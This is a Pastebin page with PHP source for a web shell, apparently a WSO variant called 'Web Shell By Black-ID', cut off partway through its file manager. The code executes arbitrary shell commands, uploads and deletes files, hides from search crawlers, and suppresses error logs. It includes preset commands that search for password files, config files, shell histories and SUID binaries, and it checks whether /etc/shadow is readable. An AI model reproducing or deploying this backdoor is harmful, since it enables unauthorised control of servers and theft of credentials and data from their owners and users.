rooterror

Web Shell By Black-ID

Jun 3rd, 2014
419
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 63.80 KB | None | 0 0
  1. <?php
  2.     /**
  3.  ____  _            _           _____ _____  
  4. |  _ \| |          | |         |_   _|  __ \
  5. | |_) | | __ _  ___| | __  _____ | | | |  | |
  6. |  _ <| |/ _` |/ __| |/ / |_____|| | | |  | |
  7. | |_) | | (_| | (__|   <        _| |_| |__| |
  8. |____/|_|\__,_|\___|_|\_\      |_____|_____/
  9.                       (Web Shell By Black-ID ,based On Php,Ajax Posts,Css3)
  10.                           v 3.0
  11.                   Devloped by Black-ID in few days
  12.                   [email protected]
  13.     */
  14. echo "<!DOCTYPE html>
  15. <link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet' type='text/css'>
  16. <style type='text/css'>
  17. input[type=submit], input[type=button], input[type=reset]{
  18.     text-align:center;
  19.     background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
  20.     border:1px solid #4D4D4D;
  21.     color:#CCCCCC;
  22.     border-top-color:#565656;
  23.     padding:4px 6px;
  24.     margin:4px 5px;
  25.     height:16px;
  26.     -moz-box-shadow:0 0 1px black;
  27.     -webkit-box-shadow:0 0 1px black;
  28.     box-shadow:0 0 1px black;
  29.     text-shadow:0 1px black;
  30.     -moz-border-radius:4px;
  31.     -webkit-border-radius:4px;
  32.     -khtml-border-radius:4px;
  33.     border-radius:4px;
  34.     height:23px;
  35. }
  36.  
  37. input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
  38.     background-position:center top;
  39.     text-decoration:none;
  40. }
  41. input[type=text], input[type=password]{
  42.     background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
  43.     border:1px solid #4D4D4D;
  44.     color:#CCCCCC;
  45.     border-top-color:#565656;
  46.     -moz-box-shadow:0 0 1px black;
  47.     -webkit-box-shadow:0 0 1px black;
  48.     box-shadow:0 0 1px black;
  49.     -moz-border-radius:4px;
  50.     -webkit-border-radius:4px;
  51.     -khtml-border-radius:4px;
  52.     border-radius:4px;
  53.     height:18px;
  54.     margin-left: 5px;
  55. }
  56. input , textarea , button , body , caption , table ,area , option {
  57.    outline:none;
  58.    transition: all 0.20s ease-in-out;
  59.    -webkit-transition: all 0.25s ease-in-out;
  60.    -moz-transition: all 0.25s ease-in-out;
  61.    border-radius:3px;
  62.    -webkit-border-radius:3px;
  63.    -moz-border-radius:3px;
  64.    border:1px solid rgba(0,0,0, 0.2);
  65. /*   font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
  66. }
  67. input , textarea {
  68.    background: url('http://i.imgur.com/rXwKsKf.png') repeat scroll 0 0 #333333;';
  69. }
  70.  
  71.  
  72. input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus  {
  73.    box-shadow: 0 0 5px rgba(0, 0, 255, 1);
  74.    -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
  75.    -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
  76.  
  77.    border: 1px solid #CCCC00;
  78.  
  79.    background: url('http://i.imgur.com/rXwKsKf.png') repeat scroll 0 0 #333333;';
  80.    overflow: auto;
  81. /*    font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
  82. }
  83.  
  84. body{
  85. /*  font-family : Electrolize; */
  86.     color : #f9f6f1;
  87.     font-size : 0.7em;
  88.     background: url(http://i.imgur.com/DLpR0jh.jpg) no-repeat center top #252525;
  89. }
  90. input , textarea {
  91.    outline:none;
  92.    transition: all 0.20s ease-in-out;
  93.    -webkit-transition: all 0.25s ease-in-out;
  94.    -moz-transition: all 0.25s ease-in-out;
  95.    border-radius:3px;
  96.    -webkit-border-radius:3px;
  97.    -moz-border-radius:3px;
  98.    border:1px solid rgba(0,0,0, 0.2);
  99. }
  100. input:focus, textarea:focus {
  101.  outline: 0;
  102.  border-color: rgba(82, 168, 236, 0.8);
  103.  -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  104.  -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  105.  box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  106.  
  107.  
  108.    background: url('http://i.imgur.com/rXwKsKf.png') repeat scroll 0 0 #333333;';
  109.    overflow: auto;
  110.  
  111. }
  112.  
  113.  
  114.  </style>
  115.  ";
  116. $_SESSION[$_SERVER['HTTP_HOST']] = true;
  117. $color = "#C8FE2E"; //Colour
  118. $default_action = "FilesMan";
  119. $default_charset = "Windows-1251";
  120. if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
  121.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  122.     foreach($userAgents as $agent)
  123.         if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
  124.             header('HTTP/1.0 404 Not Found');
  125.             exit;
  126.         }
  127. }
  128. @session_start();
  129. @error_reporting(0);
  130. @ini_set('error_log',NULL);
  131. @ini_set('log_errors',0);
  132. @ini_set('max_execution_time',0);
  133. @set_time_limit(0);
  134. @set_magic_quotes_runtime(0);
  135. @define('VERSION', '3.0');
  136. if( get_magic_quotes_gpc() ) {
  137.     function WSOstripslashes($array) {
  138.         return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  139.     }
  140.     $_POST = WSOstripslashes($_POST);
  141. }
  142.  
  143. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  144.     $os = 'win';
  145. else
  146.     $os = 'nix';
  147. $safe_mode = @ini_get('safe_mode');
  148. $disable_functions = @ini_get('disable_functions');
  149. $home_cwd = @getcwd();
  150. if( isset( $_POST['c'] ) )
  151.     @chdir($_POST['c']);
  152. $cwd = @getcwd();
  153. if( $os == 'win') {
  154.     $home_cwd = str_replace("\\", "/", $home_cwd);
  155.     $cwd = str_replace("\\", "/", $cwd);
  156. }
  157. if( $cwd[strlen($cwd)-1] != '/' )
  158.     $cwd .= '/';
  159.  
  160. if($os == 'win')
  161.     $aliases = array(
  162.         "List Directory" => "dir",
  163.         "Find index.php in current dir" => "dir /s /w /b index.php",
  164.         "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  165.         "Show active connections" => "netstat -an",
  166.         "Show running services" => "net start",
  167.         "User accounts" => "net user",
  168.         "Show computers" => "net view",
  169.         "ARP Table" => "arp -a",
  170.         "IP Configuration" => "ipconfig /all"
  171.     );
  172. else
  173.     $aliases = array(
  174.         "List dir" => "ls -lha",
  175.         "list file attributes on a Linux second extended file system" => "lsattr -va",
  176.         "show opened ports" => "netstat -an | grep -i listen",
  177.         "Find" => "",
  178.         "find all suid files" => "find / -type f -perm -04000 -ls",
  179.         "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  180.         "find all sgid files" => "find / -type f -perm -02000 -ls",
  181.         "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  182.         "find config.inc.php files" => "find / -type f -name config.inc.php",
  183.         "find config* files" => "find / -type f -name \"config*\"",
  184.         "find config* files in current dir" => "find . -type f -name \"config*\"",
  185.         "find all writable folders and files" => "find / -perm -2 -ls",
  186.         "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  187.         "find all service.pwd files" => "find / -type f -name service.pwd",
  188.         "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  189.         "find all .htpasswd files" => "find / -type f -name .htpasswd",
  190.         "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  191.         "find all .bash_history files" => "find / -type f -name .bash_history",
  192.         "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  193.         "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  194.         "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  195.         "Locate" => "",
  196.         "locate httpd.conf files" => "locate httpd.conf",
  197.         "locate vhosts.conf files" => "locate vhosts.conf",
  198.         "locate proftpd.conf files" => "locate proftpd.conf",
  199.         "locate psybnc.conf files" => "locate psybnc.conf",
  200.         "locate my.conf files" => "locate my.conf",
  201.         "locate admin.php files" =>"locate admin.php",
  202.         "locate cfg.php files" => "locate cfg.php",
  203.         "locate conf.php files" => "locate conf.php",
  204.         "locate config.dat files" => "locate config.dat",
  205.         "locate config.php files" => "locate config.php",
  206.         "locate config.inc files" => "locate config.inc",
  207.         "locate config.inc.php" => "locate config.inc.php",
  208.         "locate config.default.php files" => "locate config.default.php",
  209.         "locate config* files " => "locate config",
  210.         "locate .conf files"=>"locate '.conf'",
  211.         "locate .pwd files" => "locate '.pwd'",
  212.         "locate .sql files" => "locate '.sql'",
  213.         "locate .htpasswd files" => "locate '.htpasswd'",
  214.         "locate .bash_history files" => "locate '.bash_history'",
  215.         "locate .mysql_history files" => "locate '.mysql_history'",
  216.         "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  217.         "locate backup files" => "locate backup",
  218.         "locate dump files" => "locate dump",
  219.         "locate priv files" => "locate priv"
  220.     );
  221.  
  222. function wsoHeader() {
  223.     if(empty($_POST['charset']))
  224.         $_POST['charset'] = $GLOBALS['default_charset'];
  225.     global $color;
  226.     echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO [Black-ID] " . VERSION ."</title>
  227. <style>
  228. body{background-color:#444;color:#e1e1e1;}
  229. body,td,th{ font: 9pt Lucida,Electrolize;margin:0;vertical-align:top;color:#e1e1e1; }
  230. table.info{ color:#fff;background-color:#222; }
  231. span,h1,a{ color: $color !important; }
  232. span{ font-weight: bolder; }
  233. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Electrolize;background-color:#222;margin:0px; }
  234. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  235. a{ text-decoration:none; }
  236. a:hover{ text-decoration:underline; }
  237. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  238. .bigarea{ width:100%;height:250px; }
  239. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #000; font: 9pt Monospace,'Courier New'; }
  240. form{ margin:0px; }
  241. #toolsTbl{ text-align:center; }
  242. .toolsInp{ width: 300px }
  243. .main th{text-align:left;background-color:#5e5e5e;}
  244. .main tr:hover{background-color:#5e5e5e}
  245. .l1{background-color:#444}
  246. pre{font-family:Courier,Monospace;}
  247. </style>
  248. <script>
  249.    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  250.    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  251.    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  252.    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
  253.    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
  254.    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
  255.     function set(a,c,p1,p2,p3,charset) {
  256.         if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
  257.         if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
  258.         if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
  259.         if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
  260.         if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
  261.         if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
  262.     }
  263.     function g(a,c,p1,p2,p3,charset) {
  264.         set(a,c,p1,p2,p3,charset);
  265.         document.mf.submit();
  266.     }
  267.     function a(a,c,p1,p2,p3,charset) {
  268.         set(a,c,p1,p2,p3,charset);
  269.         var params = 'ajax=true';
  270.         for(i=0;i<document.mf.elements.length;i++)
  271.             params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
  272.         sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  273.     }
  274.     function sr(url, params) {
  275.         if (window.XMLHttpRequest)
  276.             req = new XMLHttpRequest();
  277.         else if (window.ActiveXObject)
  278.             req = new ActiveXObject('Microsoft.XMLHTTP');
  279.        if (req) {
  280.            req.onreadystatechange = processReqChange;
  281.            req.open('POST', url, true);
  282.            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  283.            req.send(params);
  284.        }
  285.     }
  286.     function processReqChange() {
  287.         if( (req.readyState == 4) )
  288.             if(req.status == 200) {
  289.                 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  290.                 var arr=reg.exec(req.responseText);
  291.                 eval(arr[2].substr(0, arr[1]));
  292.             } else alert('Request error!');
  293.     }
  294. </script>
  295. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  296. <form method=post name=mf style='display:none;'>
  297. <input type=hidden name=a>
  298. <input type=hidden name=c>
  299. <input type=hidden name=p1>
  300. <input type=hidden name=p2>
  301. <input type=hidden name=p3>
  302. <input type=hidden name=charset>
  303. </form>";
  304.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  305.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  306.     $totalSpace = $totalSpace?$totalSpace:1;
  307.     $release = @php_uname('r');
  308.     $kernel = @php_uname('s');
  309.     $exdblink = 'http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=';
  310.     if( strpos('Linux', $kernel) !== false )
  311.         $exdblink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
  312.     else
  313.         $exdblink .= urlencode( $kernel . ' ' . substr($release,0,3) );
  314.     if(!function_exists('posix_getegid')) {
  315.         $user = @get_current_user();
  316.         $uid = @getmyuid();
  317.         $gid = @getmygid();
  318.         $group = "?";
  319.     } else {
  320.         $uid = @posix_getpwuid(@posix_geteuid());
  321.         $gid = @posix_getgrgid(@posix_getegid());
  322.         $user = $uid['name'];
  323.         $uid = $uid['uid'];
  324.         $group = $gid['name'];
  325.         $gid = $gid['gid'];
  326.     }
  327.     $cwd_links = '';
  328.     $path = explode("/", $GLOBALS['cwd']);
  329.     $n=count($path);
  330.     for($i=0;$i<$n-1;$i++) {
  331.         $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  332.         for($j=0;$j<=$i;$j++)
  333.             $cwd_links .= $path[$j].'/';
  334.         $cwd_links .= "\")'>".$path[$i]."/</a>";
  335.     }
  336.     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  337.     $opt_charsets = '';
  338.     foreach($charsets as $item)
  339.         $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  340.     $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Mass'=>'Mass','Domains'=>'Domain','Sql'=>'Sql','Safe mode'=>'SafeMode','String tools'=>'StringTools','Network'=>'Network');
  341.     $m['Self remove'] = 'SelfRemove';
  342.     $menu = '';
  343.     foreach($m as $k => $v)
  344.         $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
  345.     $drives = "";
  346.     if ($GLOBALS['os'] == 'win') {
  347.         foreach( range('c','z') as $drive )
  348.         if (is_dir($drive.':\\'))
  349.             $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  350.     }
  351.     echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
  352.          '<td><nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$exdblink.'" target=_blank>[Exploit-DB]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
  353.          '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'<br><a href="http://www.bing.com/search?q=ip:' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Bing ]</a> | <a href="http://www.zone-h.org/archive/ip=' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Zone-H ]</a><br></nobr></td></tr></table>'.
  354.          '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
  355. }
  356.  
  357. function wsoFooter() {
  358.     $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  359.     echo "
  360. </div>
  361. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  362.     <tr>
  363.         <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  364.         <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  365.     </tr><tr>
  366.         <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
  367.         <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
  368.     </tr><tr>
  369.         <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  370.         <td><form method='post' ENCTYPE='multipart/form-data'>
  371.         <input type=hidden name=a value='FilesMAn'>
  372.         <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  373.         <input type=hidden name=p1 value='uploadFile'>
  374.         <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  375.         <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
  376.     </tr></table></div></body></html>";
  377. }
  378.  
  379. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  380. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  381. function wsoEx($in) {
  382.     $out = '';
  383.     if(function_exists('exec')) {
  384.         @exec($in,$out);
  385.         $out = @join("\n",$out);
  386.     }elseif(function_exists('passthru')) {
  387.         ob_start();
  388.         @passthru($in);
  389.         $out = ob_get_clean();
  390.     }elseif(function_exists('system')) {
  391.         ob_start();
  392.         @system($in);
  393.         $out = ob_get_clean();
  394.     }elseif(function_exists('shell_exec')) {
  395.         $out = shell_exec($in);
  396.     }elseif(is_resource($f = @popen($in,"r"))) {
  397.         $out = "";
  398.         while(!@feof($f))
  399.             $out .= fread($f,1024);
  400.         pclose($f);
  401.     }
  402.     return $out;
  403. }
  404. function wsoViewSize($s) {
  405.     if($s >= 1073741824)
  406.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  407.     elseif($s >= 1048576)
  408.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  409.     elseif($s >= 1024)
  410.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  411.     else
  412.         return $s . ' B';
  413. }
  414.  
  415. function wsoPerms($p) {
  416.     if (($p & 0xC000) == 0xC000)$i = 's';
  417.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  418.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  419.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  420.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  421.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  422.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  423.     else $i = 'u';
  424.     $i .= (($p & 0x0100) ? 'r' : '-');
  425.     $i .= (($p & 0x0080) ? 'w' : '-');
  426.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  427.     $i .= (($p & 0x0020) ? 'r' : '-');
  428.     $i .= (($p & 0x0010) ? 'w' : '-');
  429.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  430.     $i .= (($p & 0x0004) ? 'r' : '-');
  431.     $i .= (($p & 0x0002) ? 'w' : '-');
  432.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  433.     return $i;
  434. }
  435. function wsoPermsColor($f) {
  436.     if (!@is_readable($f))
  437.         return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
  438.     elseif (!@is_writable($f))
  439.         return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
  440.     else
  441.         return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
  442. }
  443. if(!function_exists("scandir")) {
  444.     function scandir($dir) {
  445.         $dh  = opendir($dir);
  446.         while (false !== ($filename = readdir($dh))) {
  447.             $files[] = $filename;
  448.         }
  449.         return $files;
  450.     }
  451. }
  452. function wsoWhich($p) {
  453.     $path = wsoEx('which '.$p);
  454.     if(!empty($path))
  455.         return $path;
  456.     return false;
  457. }
  458. function actionSecInfo() {
  459.     wsoHeader();
  460.     echo '<h1>Server security information</h1><div class=content>';
  461.     function wsoSecParam($n, $v) {
  462.         $v = trim($v);
  463.         if($v) {
  464.             echo '<span>'.$n.': </span>';
  465.             if(strpos($v, "\n") === false)
  466.                 echo $v.'<br>';
  467.             else
  468.                 echo '<pre class=ml1>'.$v.'</pre>';
  469.         }
  470.     }
  471.  
  472.     wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  473.     wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  474.     wsoSecParam('Open base dir', @ini_get('open_basedir'));
  475.     wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  476.     wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  477.     wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  478.     $temp=array();
  479.     if(function_exists('mysql_get_client_info'))
  480.         $temp[] = "MySql (".mysql_get_client_info().")";
  481.     if(function_exists('mssql_connect'))
  482.         $temp[] = "MSSQL";
  483.     if(function_exists('pg_connect'))
  484.         $temp[] = "PostgreSQL";
  485.     if(function_exists('oci_connect'))
  486.         $temp[] = "Oracle";
  487.     wsoSecParam('Supported databases', implode(', ', $temp));
  488.     echo '<br>';
  489.  
  490.     if( $GLOBALS['os'] == 'nix' ) {
  491.         $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  492.         $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  493.         $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  494.         wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  495.         wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  496.         wsoSecParam('OS version', @file_get_contents('/proc/version'));
  497.         wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  498.         if(!$GLOBALS['safe_mode']) {
  499.             echo '<br>';
  500.             $temp=array();
  501.             foreach ($userful as $item)
  502.                 if(wsoWhich($item)){$temp[]=$item;}
  503.             wsoSecParam('Userful', implode(', ',$temp));
  504.             $temp=array();
  505.             foreach ($danger as $item)
  506.                 if(wsoWhich($item)){$temp[]=$item;}
  507.             wsoSecParam('Danger', implode(', ',$temp));
  508.             $temp=array();
  509.             foreach ($downloaders as $item)
  510.                 if(wsoWhich($item)){$temp[]=$item;}
  511.             wsoSecParam('Downloaders', implode(', ',$temp));
  512.             echo '<br/>';
  513.             wsoSecParam('HDD space', wsoEx('df -h'));
  514.             wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  515.         }
  516.     } else {
  517.         wsoSecParam('OS Version',wsoEx('ver'));
  518.         wsoSecParam('Account Settings',wsoEx('net accounts'));
  519.         wsoSecParam('User Accounts',wsoEx('net user'));
  520.     }
  521.     echo '</div>';
  522.     wsoFooter();
  523. }
  524.  
  525.  
  526.  
  527. function actionFilesMan() {
  528.     wsoHeader();
  529.     echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  530.     if(!empty($_POST['p1'])) {
  531.         switch($_POST['p1']) {
  532.             case 'uploadFile':
  533.                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  534.                     echo "Can't upload file!";
  535.                 break;
  536.             case 'mkdir':
  537.                 if(!@mkdir($_POST['p2']))
  538.                     echo "Can't create new dir";
  539.                 break;
  540.             case 'delete':
  541.                 function deleteDir($path) {
  542.                     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  543.                     $dh  = opendir($path);
  544.                     while ( ($item = readdir($dh) ) !== false) {
  545.                         $item = $path.$item;
  546.                         if ( (basename($item) == "..") || (basename($item) == ".") )
  547.                             continue;
  548.                         $type = filetype($item);
  549.                         if ($type == "dir")
  550.                             deleteDir($item);
  551.                         else
  552.                             @unlink($item);
  553.                     }
  554.                     closedir($dh);
  555.                     rmdir($path);
  556.                 }
  557.                 if(is_array(@$_POST['f']))
  558.                     foreach($_POST['f'] as $f) {
  559.                         $f = urldecode($f);
  560.                         if(is_dir($f))
  561.                             deleteDir($f);
  562.                         else
  563.                             @unlink($f);
  564.                     }
  565.                 break;
  566.             case 'paste':
  567.                 if($_SESSION['act'] == 'copy') {
  568.                     function copy_paste($c,$s,$d){
  569.                         if(is_dir($c.$s)){
  570.                             mkdir($d.$s);
  571.                             $h = @opendir($c.$s);
  572.                             while (($f = @readdir($h)) !== false)
  573.                                 if (($f != ".") and ($f != "..")) {
  574.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  575.                                 }
  576.                         } elseif(is_file($c.$s)) {
  577.                             @copy($c.$s, $d.$s);
  578.                         }
  579.                     }
  580.                     foreach($_SESSION['f'] as $f)
  581.                         copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  582.                 } elseif($_SESSION['act'] == 'move') {
  583.                     function move_paste($c,$s,$d){
  584.                         if(is_dir($c.$s)){
  585.                             mkdir($d.$s);
  586.                             $h = @opendir($c.$s);
  587.                             while (($f = @readdir($h)) !== false)
  588.                                 if (($f != ".") and ($f != "..")) {
  589.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  590.                                 }
  591.                         } elseif(@is_file($c.$s)) {
  592.                             @copy($c.$s, $d.$s);
  593.                         }
  594.                     }
  595.                     foreach($_SESSION['f'] as $f)
  596.                         @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  597.                 } elseif($_SESSION['act'] == 'zip') {
  598.                     if(class_exists('ZipArchive')) {
  599.                         $zip = new ZipArchive();
  600.                         if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
  601.                             chdir($_SESSION['c']);
  602.                             foreach($_SESSION['f'] as $f) {
  603.                                 if(@is_file($_SESSION['c'].$f))
  604.                                     $zip->addFile($_SESSION['c'].$f, $f);
  605.                                 elseif(@is_dir($_SESSION['c'].$f)) {
  606.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  607.                                     foreach ($iterator as $key=>$value) {
  608.                                         $zip->addFile(realpath($key), $key);
  609.                                     }
  610.                                 }
  611.                             }
  612.                             chdir($GLOBALS['cwd']);
  613.                             $zip->close();
  614.                         }
  615.                     }
  616.                 } elseif($_SESSION['act'] == 'unzip') {
  617.                     if(class_exists('ZipArchive')) {
  618.                         $zip = new ZipArchive();
  619.                         foreach($_SESSION['f'] as $f) {
  620.                             if($zip->open($_SESSION['c'].$f)) {
  621.                                 $zip->extractTo($GLOBALS['cwd']);
  622.                                 $zip->close();
  623.                             }
  624.                         }
